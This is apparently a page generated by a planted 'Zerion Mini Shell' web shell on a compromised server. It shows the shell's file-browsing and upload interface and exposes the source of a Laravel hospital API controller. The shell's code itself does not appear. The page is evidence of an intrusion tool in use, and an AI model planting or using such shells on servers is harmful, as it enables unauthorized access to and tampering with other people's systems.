%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/HospitalController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Hospital\CreateHospitalRequest;
use App\Http\Requests\Api\v1\Hospital\UpdateHospitalRequest;
use App\Models\Hospital;
use App\Transformers\HospitalTransformer;
use Illuminate\Http\Request;

class HospitalController extends ApiController
{
    /**
     * @param Request $request
     * @return \Spatie\Fractal\Fractal
     */
    public function index(Request $request)
    {
        $result = $this->filterHospital($request)
                       ->paginate($request->get('perPage'));
        return $this->withPaginated($result, new HospitalTransformer());
    }

    /**
     * @param Request $request
     * @return Hospital[]|\Illuminate\Database\Eloquent\Collection
     */
    private function filterHospital(Request $request)
    {
        $result = Hospital::query();
        if ($code = $request->get('code')) {
            $result = $result->where('code', 'like', "$code%");
        }
        if ($name = $request->get('name')) {
            $result = $result->where('name', 'like', "$name%");
        }
        if ($address = $request->get('address')) {
            $result = $result->where('address', 'like', "$address%");
        }
        return $result;
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function show($id)
    {
        $hospital = Hospital::query()
                            ->findOrFail($id);
        return $this->item($hospital, new HospitalTransformer());
    }

    /**
     * @param CreateHospitalRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function store(CreateHospitalRequest $request)
    {
        $hospital = Hospital::query()
                            ->create([
                                'code'    => $request->get('code'),
                                'name'    => $request->get('name'),
                                'address' => $request->get('address'),
                            ]);
        return $this->item($hospital, new HospitalTransformer());
    }

    /**
     * @param UpdateHospitalRequest $request
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function update(UpdateHospitalRequest $request, $id)
    {
        $hospital = Hospital::query()
                            ->findOrFail($id);
        $hospital->update($request->only(['name', 'address']));
        return $this->item($hospital, new HospitalTransformer());
    }
}

Zerion Mini Shell 1.0